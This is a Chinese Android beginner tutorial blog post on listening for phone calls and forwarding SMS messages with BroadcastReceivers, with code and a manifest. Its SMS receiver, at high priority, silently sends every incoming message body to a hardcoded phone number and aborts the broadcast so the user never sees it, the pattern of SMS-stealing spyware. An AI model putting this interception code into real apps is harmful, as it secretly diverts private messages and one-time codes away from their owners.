- 浏览: 63797 次
- 性别:
- 来自: 湖南
最新评论
-
Neacy_Zz:
有些Android也可以显示的出来。
Android 将一张CMYK模式的图片转换成RGB模式的图片 -
hold_on:
AsyncTask 2.3 和 4.0稍有不同
Android从零开始(十五)
知识点:电话拒接+短息转发(继承BroadcastReceiver)
步骤一、电话的监听(代码如下)
步骤二、短息转发(代码如下)
步骤三、广播注册+权限配置(代码如下)
源码下载请点击这里:
步骤一、电话的监听(代码如下)
package com.zjyb.demo44; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.TelephonyManager; import android.util.Log; import android.widget.Toast; //监听电话呼出和呼入的广播 public class PhoneBroadReceiver extends BroadcastReceiver{ static long s; static long e; static boolean flag=false; //当电话打出的时候,显示打出的号码 //当接到电话的时候,显示拨入的号码以及通话时间 @Override public void onReceive(Context context, Intent intent) { //判断是呼入还是呼出 if(intent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")){ //当前是呼出,显示呼出号码 String number=intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER); Log.v("TAG", number); //18674391429 }else{ //当前是呼入,显示呼入号码,并且统计通话时间 TelephonyManager manager=(TelephonyManager)context.getSystemService(context.TELEPHONY_SERVICE); switch(manager.getCallState()){ case TelephonyManager.CALL_STATE_RINGING: String number=intent.getStringExtra("incoming_number"); Log.v("TAG", "来电了,电话号码是:"+number); //if(number.equals("18674391429")){ //黑名单,拒接 // Log.v("TAG", "拒接"); // abortBroadcast(); //} break; case TelephonyManager.CALL_STATE_OFFHOOK: Log.v("TAG", "通话中..."); s=System.currentTimeMillis(); break; case TelephonyManager.CALL_STATE_IDLE: Log.v("TAG", "挂断"); e=System.currentTimeMillis(); flag=true; break; } if(flag&&e>s){ Log.v("TAG", "当前通话时间:"+(e-s)/1000); flag=false; e=0; s=0; } } } }
步骤二、短息转发(代码如下)
package com.zjyb.demo44; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.telephony.SmsManager; import android.telephony.SmsMessage; import android.util.Log; //接收短信广播 public class SmsBroadReceiver extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { Bundle bundle=intent.getExtras(); Object[] obs=(Object[])bundle.get("pdus");//protocol description units SmsMessage[] messages=new SmsMessage[obs.length]; for(int i=0;i<obs.length;i++){ messages[i]=SmsMessage.createFromPdu((byte[])obs[i]); String address=messages[i].getOriginatingAddress(); String msg=messages[i].getMessageBody(); Log.v("TAG", "收到来自:"+address); Log.v("TAG","消息是:"+msg); //将接收的短消息转发 //13838384381 SmsManager manager=SmsManager.getDefault(); manager.sendTextMessage("13838384381", null, msg, null,null); } abortBroadcast(); } }
步骤三、广播注册+权限配置(代码如下)
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.zjyb.demo44" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.zjyb.demo44.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name=".PhoneBroadReceiver" > <intent-filter > <action android:name="android.intent.action.NEW_OUTGOING_CALL"/> <action android:name="android.intent.action.PHONE_STATE"/> </intent-filter> </receiver> <receiver android:name=".SmsBroadReceiver" > <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> </application> <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/> </manifest>
源码下载请点击这里:
- 广播.zip (1002.4 KB)
- 下载次数: 9
发表评论
-
Android自定义控件--3(刷新动画)
2014-02-26 11:14 978一个乐动力的刷新动画 package com.example. ... -
Android自定义控件--2(数字签名)
2014-02-26 11:08 975客户信息交互用到的一个数字签名,保存的是bmp图片(我那会在P ... -
Android自定义控件--1(TextView跑马灯效果)
2014-02-26 10:57 1589N久没有跟新了,最近 ... -
Android 将一张CMYK模式的图片转换成RGB模式的图片
2013-06-25 17:32 2310Android系统是不能够显示打印模式(CMYK)的图片的。所 ... -
Android TextToSpeech语音播放文本
2013-06-25 17:17 1903步骤一、初始化 package com.example.spe ... -
Android连接电脑eclipse无法识别=解决办法
2013-05-23 09:25 22231、方法一:“我的电脑”-->“属性”-->“设备 ... -
Android BaseAdapter如何获得每一项并添加按钮事件
2013-05-21 15:11 3770package com.hangcheng; impor ... -
Android的VideoView如何循环播放
2013-05-15 14:01 4862package com.hangcheng; impor ... -
Android如何获取asset目录下所有文件的路径
2013-05-15 09:48 7789package com.hangcheng.util; ... -
Android--WebView+HTML+Javascript
2013-04-09 17:17 1774知识点:android的WebView控件加载HTML并通过j ... -
VideoView重绘
2013-04-01 23:39 1383知识点:Android中的VideoView控件默认情况下是不 ... -
Android从零开始—多媒体(二十二)
2013-03-06 21:43 1065知识点:音乐播放、录音、播放视频、录像、拍照 步骤一、主界面 ... -
Android从零开始—电话+短信(二十)
2013-03-05 10:03 1162知识点:系统电话号码和短信的获取(最好用真机,模拟器上木有电话 ... -
Android从零开始(十九)
2013-02-27 10:35 1009知识点:back键的处理(有时候我们可能会不小心按了回退键,但 ... -
Android从零开始(十八)
2013-02-27 10:24 895知识点:菜单(menu) 步骤一、创建菜单项(核心代码如下) ... -
Android从零开始(十七)
2013-02-27 10:09 1020知识点:抽屉(SlidingDrawer) 先看一下抽屉打开 ... -
Android从零开始(十六)
2013-02-26 19:43 904知识点:闪屏(通常在 ... -
Android从零开始(十五)
2013-02-26 18:32 1150知识点:异步任务AsyncTa ... -
Android从零开始(十四)
2013-02-26 17:16 882知识点:TabHost选项卡之 ... -
Android从零开始(十三)
2013-02-23 22:57 868知识点:TabHost 效果图: 工程目录结构: ...
相关推荐
《从零开始学编程从零开始学Android》是一本针对Android编程初学者的教程,由曾宏远和崔荔蒙两位作者编著,2012年出版。这本书旨在为那些对安卓手机编程开发充满兴趣的读者提供一个系统且全面的学习路径。在深入探讨...
《Android从零开始》这份文档全面且深入地介绍了Android开发的基础知识,对于初学者来说,是一份极佳的学习资源。Android作为全球最流行的移动操作系统,它的应用开发领域广阔,涉及了从用户界面设计到系统级别的...
【Android从零开始(五)】这一篇博客文章可能涵盖了Android开发的基础知识,特别是与手机设备相关的部分。在Android开发中,"Phone"这个标签可能指的是与电话功能、拨号器、通话记录或者电话状态监听等相关的内容。...
"从零开始学Android编程源代码-1" 是一个适合初学者的资源包,它包含了02至10章的源码,覆盖了Android开发的基础到进阶部分。下面我们将深入探讨这些章节中的重要知识点。 第2章通常涉及Android应用的基础架构,...
在本篇博客“Android从零开始—电话+短信(二十)”中,我们将深入探讨Android系统中的电话管理和短信服务,这对于任何想要开发涉及通讯功能的Android应用开发者来说都是至关重要的知识。我们将首先介绍Android的...
【Android开发从零开始】是针对初学者设计的一份详细教程,由知名讲师若水老师编纂。这份PPT旨在帮助新手快速入门Android应用程序开发,让学习过程更加轻松易懂。 1. **Android简介** - Android是谷歌公司主导开发...
在Android开发领域,从零开始的学习过程至关重要,因为这涵盖了所有基础概念和技术,为成为熟练的Android开发者奠定坚实的基础。"Android开发从零开始课件源代码"是针对初学者设计的一系列教学资源,旨在逐步引导...
【Android开发从零开始:基础篇】 Android是一种基于Linux内核的开源操作系统,主要用于移动设备,如智能手机和平板电脑。若水老师的“Android开发从零开始”课程旨在帮助初学者全面掌握Android应用开发的基本技能...
本篇文章将基于"从零开始Android游戏编程"这一主题,详细讲解Android游戏开发的基础知识,带你一步步踏入游戏编程的世界。 首先,我们需要理解Android游戏开发的核心技术栈。这包括Java或Kotlin语言基础,因为这两...
6. **广播接收器(BroadcastReceiver)**:广播接收器用于监听并响应系统广播事件,如网络状态变化、电池电量低等。了解广播机制,可以实现对系统事件的及时响应。 7. **数据存储**:Android提供了多种数据存储方式...
本教程将通过"Android Studio开发实战:从零基础到App上线"这一主题,逐步指导初学者从安装配置Android Studio开始,直至完成App的开发、测试和发布全过程。 首先,我们要了解Android Studio的基础操作。它基于...
本书旨在帮助读者从零基础开始,逐步建立起扎实的Android开发技能。 在Android开发中,首先需要理解的是Android系统架构,它分为Linux内核层、系统运行库层、应用程序框架层和应用程序层。了解这些层次的作用和相互...
### Android从入门到精通SL(实例源程序) #### 一、Android基础知识 ...通过以上知识点的学习和实践,开发者可以从零开始掌握Android应用开发的核心技术和流程,逐步提升技术水平,最终成为一名优秀的Android开发者。
通过【Android开发入门与实战的代码】,你将逐步掌握如何从零开始构建一个完整的Android应用,同时理解背后的原理和技术。随着经验的积累,你还可以进一步探索更高级的主题,如多线程、网络编程、数据库操作、第三方...
`Handler`允许你在指定的时间间隔后执行某个操作,而`CountDownTimer`则用于倒计时,即从一个设定的总时间开始,每次间隔减少一定的时间,直到达到零。 下面是如何在服务中使用`CountDownTimer`的简要步骤: 1. ...
总的来说,《Android开发PPT教程》将带领学习者从零开始,逐步构建起对Android开发的全面认识,覆盖了从基础到高级的各个层面,是Android开发者成长道路上的一份宝贵资料。通过系统学习和实践,不仅可以掌握开发技能...
总而言之,"一本最权威的Android入门教程"应当全面覆盖了Android开发的基础知识,帮助新手从零开始,逐步掌握开发Android应用的所有必要技能。通过深入学习和实践,新手开发者能够独立创建自己的Android应用程序,踏...
这本书籍详尽地介绍了Android应用开发的基础到进阶知识,旨在帮助读者从零开始逐步掌握Android编程。书中的源码是作者为了配合理论讲解而编写的实例,这些实例涵盖了各种常见功能的实现,使读者能够通过实践加深理解...
通过这些课件,开发者可以从零开始逐步掌握Android应用开发的关键技能。 1. **Android开发基础**(ch_01android开发基础.ppt):这部分内容通常会介绍Android平台的概述,包括Android系统架构、开发环境的搭建(如...
本篇文章将深入探讨Android Studio的相关知识点,帮助你从零基础开始,逐步掌握这个强大的开发平台。 1. **Android Studio安装与配置** - 安装过程:首先,你需要从官方网站下载适用于你操作系统的Android Studio...